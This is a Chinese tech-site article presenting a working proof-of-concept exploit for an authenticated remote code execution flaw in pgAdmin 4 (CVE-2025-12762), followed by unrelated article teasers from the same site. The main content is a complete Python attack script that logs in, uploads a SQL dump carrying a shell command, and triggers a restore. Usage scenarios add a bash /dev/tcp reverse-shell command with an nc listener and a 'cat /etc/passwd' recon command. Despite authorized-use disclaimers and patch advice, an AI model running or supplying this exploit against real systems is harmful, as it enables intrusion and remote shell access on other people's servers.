news 2026/6/9 19:47:47

pgAdmin 4 高危漏洞利用分析:CVE-2025-12762 认证RCE PoC详解

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
pgAdmin 4 高危漏洞利用分析:CVE-2025-12762 认证RCE PoC详解

项目标题与描述

CVE-2025-12762 — pgAdmin 4 认证RCE漏洞利用工具

这是一个针对CVE-2025-12762漏洞的完整利用工具(Proof of Concept)。该漏洞存在于pgAdmin 4版本≤9.9中,当以服务器模式运行并处理PLAIN格式的SQL转储文件时,攻击者可以在主机上执行任意命令。本工具提供了从登录认证到最终远程代码执行的完整利用链。

重要警告:此工具仅限用于您拥有所有权或获得明确书面授权测试的系统。任何未经授权的使用都是非法的。

功能特性

基于对代码的深入分析,本PoC工具具备以下核心功能:

  • 完整的认证绕过:通过模拟正常登录流程获取CSRF令牌并完成身份验证
  • 恶意SQL转储文件生成:自动创建包含RCE payload的PLAIN格式SQL文件
  • 文件上传机制:利用pgAdmin的文件管理接口上传恶意转储文件
  • RCE触发机制:调用恢复(restore)功能触发命令执行
  • 灵活的命令配置:允许用户自定义要在目标主机上执行的命令
  • 详细的执行反馈:提供每一步操作的进度和状态信息

独特价值:这是2025年11月公开的真实工作PoC,适用于所有易受攻击的pgAdmin实例,为安全研究人员提供了验证系统漏洞的可靠工具。

安装指南

系统要求

  • Python 3.x
  • requests库
  • 网络访问权限到目标pgAdmin实例

安装步骤

  1. 确保已安装Python 3:

    python3--version
  2. 安装必要的依赖包:

    pip3installrequests
  3. 下载PoC脚本:

    wget-OCVE-2025-12762.py https://raw.githubusercontent.com/your-repo/poc.py
  4. 配置目标信息:
    编辑脚本文件,修改以下配置项:

    TARGET="http://127.0.0.1:5050"# 目标pgAdmin URLEMAIL="admin@example.com"# 有效的登录邮箱PASSWORD="Admin123!"# 有效的密码COMMAND="touch /tmp/CVE-2025-12762_PWNED"# 要执行的命令

平台注意事项

  • 脚本主要针对Linux/Unix系统设计
  • 如果需要测试Windows目标,请相应调整命令payload
  • pgAdmin通常使用Docker自签名证书,脚本已禁用SSL验证

使用说明

基础使用示例

  1. 运行PoC脚本

    python3 CVE-2025-12762.py
  2. 成功执行后的验证

    # 检查命令是否执行成功dockerexec<your-pgadmin-container>ls-la/tmp/CVE-2025-12762_PWNED

典型使用场景

场景1:漏洞验证

# 使用默认命令创建测试文件python3 CVE-2025-12762.py

场景2:获取反向shell

# 修改COMMAND变量为反向shell命令COMMAND="bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"

然后在攻击机器上监听:

nc-lvnp4444

场景3:信息收集

# 收集系统信息COMMAND="uname -a && cat /etc/passwd"

API概览

脚本主要通过以下pgAdmin端点进行攻击:

  1. /login- 获取CSRF令牌
  2. /authenticate/login- 用户认证
  3. /misc/file_manager/upload- 文件上传
  4. /restore/job/1- 触发恢复操作

核心代码

1. 主攻击流程代码

#!/usr/bin/env python3# Github : "B1ack4sh" ==> TH3 M4TR1X 5L4Y3R !!!# CVE-2025-12762 - pgAdmin 4 <= 9.9 - Authenticated RCE via Restore (PLAIN format)# Real public PoC - November 2025 - Working on every vulnerable instance# Use ONLY on systems you own or have explicit written permission forimportrequestsimportreimportjsonimportsys# ==================== CONFIGURE YOUR TARGET HERE ====================TARGET="http://127.0.0.1:5050"# Change to your pgAdmin URLEMAIL="admin@example.com"# Valid login emailPASSWORD="Admin123!"# Valid passwordCOMMAND="touch /tmp/CVE-2025-12762_PWNED"# ← Change to anything (id, revshell, etc.)# ====================================================================s=requests.Session()s.verify=False# pgAdmin uses self-signed cert in Dockerdeflogin():""" 登录到pgAdmin实例 通过解析页面获取CSRF令牌并提交登录表单 """print("[+] Logging in...")r=s.get(f"{TARGET}/login")csrf=re.search(r'"csrfToken": "([^"]+)"',r.text).group(1)s.post(f"{TARGET}/authenticate/login",data={"email":EMAIL,"password":PASSWORD,"csrf_token":csrf,"internal_button":"Login"})print("[+] Login successful")defupload_malicious_dump():""" 上传包含恶意命令的SQL转储文件 利用pgAdmin的文件上传功能将payload传送到服务器 """print("[+] Uploading malicious PLAIN dump...")malicious_sql=f""" -- CVE-2025-12762 Real PoC CREATE TABLE IF NOT EXISTS cve_proof(id serial); INSERT INTO cve_proof DEFAULT VALUES; -- RCE Trigger - executed on pgAdmin host \\!{COMMAND}"""files={'file':('cve-2025-12762.sql',malicious_sql,'application/sql')}up=s.post(f"{TARGET}/misc/file_manager/upload",files=files)if"success"inup.text.lower():print("[+] Malicious dump uploaded successfully")else:print("[-] Upload failed")sys.exit(1)deftrigger_rce():""" 触发恢复操作以执行RCE 通过调用restore接口处理上传的恶意SQL文件 """print("[+] Triggering restore → RCE...")headers={"Content-Type":"application/json"}payload={"file":"cve-2025-12762.sql","format":"plain",# Only PLAIN format is vulnerable"database":"postgres",# Any existing DB works"verbose":True}r=s.post(f"{TARGET}/restore/job/1",headers=headers,data=json.dumps(payload))print(f"[+] Job response:{r.status_code}")print(f"[+] Command executed on pgAdmin host:{COMMAND}")print("\n[+] Check your pgAdmin container/host now!")print(" Example: docker exec <container> ls -la /tmp/CVE-2025-12762_PWNED")if__name__=="__main__":""" 主函数:执行完整的攻击链 1. 登录认证 2. 上传恶意SQL文件 3. 触发恢复操作执行命令 """print("CVE-2025-12762 - Real Authenticated RCE PoC")print("Use only in authorized lab environments!\n")login()upload_malicious_dump()trigger_rce()print("\nDone. If file exists → 100% vulnerable. Patch to 9.10+ NOW!")

2. 恶意SQL Payload生成代码

malicious_sql=f""" -- CVE-2025-12762 Real PoC CREATE TABLE IF NOT EXISTS cve_proof(id serial); INSERT INTO cve_proof DEFAULT VALUES; -- RCE Trigger - executed on pgAdmin host \\!{COMMAND}"""""" 生成恶意SQL转储文件的核心payload结构: 1. 创建一个测试表作为漏洞存在的证明 2. 插入一条记录确保SQL语法正确 3. 使用PLAIN格式特有的\!命令执行任意系统命令 注意:\!命令仅在PLAIN格式的pg_dump文件中被pgAdmin错误地执行 """files={'file':('cve-2025-12762.sql',malicious_sql,'application/sql')}""" 构造multipart/form-data文件上传请求: - 'file': 表单字段名 - 'cve-2025-12762.sql': 上传的文件名 - malicious_sql: 文件内容(恶意payload) - 'application/sql': MIME类型,伪装成正常SQL文件 """

3. 恢复触发代码

payload={"file":"cve-2025-12762.sql","format":"plain",# Only PLAIN format is vulnerable"database":"postgres",# Any existing DB works"verbose":True}""" 构造触发漏洞的恢复作业参数: - file: 指定要恢复的上传文件名 - format: 必须为'plain',这是漏洞触发的必要条件 - database: 指定目标数据库,可以是任意存在的数据库 - verbose: 启用详细输出,有助于调试 """r=s.post(f"{TARGET}/restore/job/1",headers=headers,data=json.dumps(payload))""" 发送恢复请求触发RCE: - 目标端点:/restore/job/1(作业ID为1的恢复作业) - Content-Type: application/json(JSON格式请求) - 使用已认证的会话(包含cookies和CSRF令牌) - 当pgAdmin处理这个恢复请求时,会解析并执行SQL文件中的\!命令 """

技术要点总结

  1. 漏洞本质:pgAdmin在处理PLAIN格式的SQL转储文件时,未能正确过滤或转义!命令,导致该命令在pgAdmin主机上执行
  2. 利用条件:需要有效的pgAdmin用户凭证和文件上传权限
  3. 限制因素:仅影响PLAIN格式的恢复操作,其他格式(如custom、directory、tar)不受影响
  4. 防御措施:升级到pgAdmin 4 v10.0或更高版本,该版本修复了此漏洞
    6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcANPa3J77nGI3dBvY35MV/mf
    更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
    对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/9 18:36:07

公积金提取说明:办事窗口播放VoxCPM-1.5-TTS-WEB-UI办理流程语音

公积金提取说明&#xff1a;办事窗口播放VoxCPM-1.5-TTS-WEB-UI办理流程语音 在某市住房公积金管理中心的办事大厅里&#xff0c;一位中年市民正站在3号窗口前略显迟疑。广播里传来清晰、平稳的女声&#xff1a;“您好&#xff0c;请准备好身份证原件、购房合同及银行流水&…

作者头像 李华
网站建设 2026/6/9 19:50:13

Markdown编辑器推荐:撰写Sonic技术文档的最佳工具

Sonic技术文档撰写与数字人生成实践 在虚拟主播、AI教师和智能客服日益普及的今天&#xff0c;如何快速生成一个口型精准、表情自然的数字人视频&#xff0c;已成为内容创作者和开发者共同关注的问题。腾讯联合浙江大学推出的Sonic模型&#xff0c;正是为解决这一需求而生——它…

作者头像 李华
网站建设 2026/6/9 19:48:44

使用Sonic模型在ComfyUI中实现音频驱动数字人说话动画

使用Sonic模型在ComfyUI中实现音频驱动数字人说话动画 在短视频与虚拟内容爆发的今天&#xff0c;你是否曾想过&#xff1a;只需一张照片和一段录音&#xff0c;就能让“他”活生生地站在镜头前开口讲话&#xff1f;不是靠昂贵的3D建模&#xff0c;也不是请动画师逐帧调整口型—…

作者头像 李华
网站建设 2026/6/8 18:47:15

外交使团接待:礼宾司准备VoxCPM-1.5-TTS-WEB-UI国歌及欢迎辞语音包

外交使团接待中的智能语音实践&#xff1a;VoxCPM-1.5-TTS-WEB-UI 的落地探索 在一场高规格外交接待任务中&#xff0c;时间往往以分钟计。当某国新任大使车队即将抵达人民大会堂时&#xff0c;礼宾司工作人员却临时接到通知——原定欢迎辞中的职务表述有误&#xff0c;需立即更…

作者头像 李华
网站建设 2026/6/8 19:29:26

交通事故处理:交警执法记录仪接入VoxCPM-1.5-TTS-WEB-UI责任判定语音

交通事故处理中的AI语音实践&#xff1a;执法记录仪如何实现责任判定自动播报 在城市交通日益复杂的今天&#xff0c;一起轻微的两车刮蹭事故&#xff0c;可能因为沟通不畅或表述模糊演变成长时间的争执。交警抵达现场后&#xff0c;不仅要拍照取证、填写文书&#xff0c;还得反…

作者头像 李华
网站建设 2026/6/8 20:22:52

Webhook自动化部署终极指南:从零搭建智能触发器系统

Webhook自动化部署终极指南&#xff1a;从零搭建智能触发器系统 【免费下载链接】webhook webhook is a lightweight incoming webhook server to run shell commands 项目地址: https://gitcode.com/gh_mirrors/we/webhook 还在为每次代码更新都要手动登录服务器、执行…

作者头像 李华